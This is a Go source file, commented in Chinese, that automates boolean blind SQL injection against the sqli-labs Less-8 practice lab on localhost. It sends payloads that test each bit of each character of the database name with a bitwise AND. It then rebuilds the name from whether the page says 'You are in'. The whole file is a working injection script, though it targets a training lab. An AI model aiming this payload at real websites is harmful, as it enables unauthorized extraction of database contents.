package main

import (
	"fmt"
	"io/ioutil"
	"math"
	"net/http"
	"strings"
)
/*
golang 实现利用与运算 提高sql注入效率
*/
func main() {
	var dbname string
	for i := 1; i <= 8; i++ {  // 8表示当前数据库字段的长度为8 需提前已知
		var word int
		for j := 0; j < 7; j++ { // 2的0到6次方足够
			l1 := fmt.Sprintf("http://localhost/sqli-labs-master/Less-8/?id=1'+and+"+
				"ord(substr(database(),%d,1))%%26%.f--+-", i, math.Pow(2, float64(j))) // 【sprintf %% 表示字面量的%】 【%.f 表示不保留小数点】
			result := httpRequest(l1)
			if strings.Contains(result, "You are in") {  // 当 you are in 在返回包 说明true
				word += int(math.Pow(2, float64(j)))  // 把每个比特位加起来就是这个字符
			}
		}
		fmt.Printf("第%d位字母是:-> %s\n", i, string(rune(word))) //打印第几位的字符
		dbname += string(rune(word)) // 每个字符拼接到dbname

	}
	fmt.Printf("数据库名为: %s",dbname) //最终爆破的库名

}
func httpRequest(url string) (result string) {
	resp, err := http.Get(url)
	if err != nil {
		fmt.Println("get err", err)
	}
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("err")
		return
	}
	return string(body)
}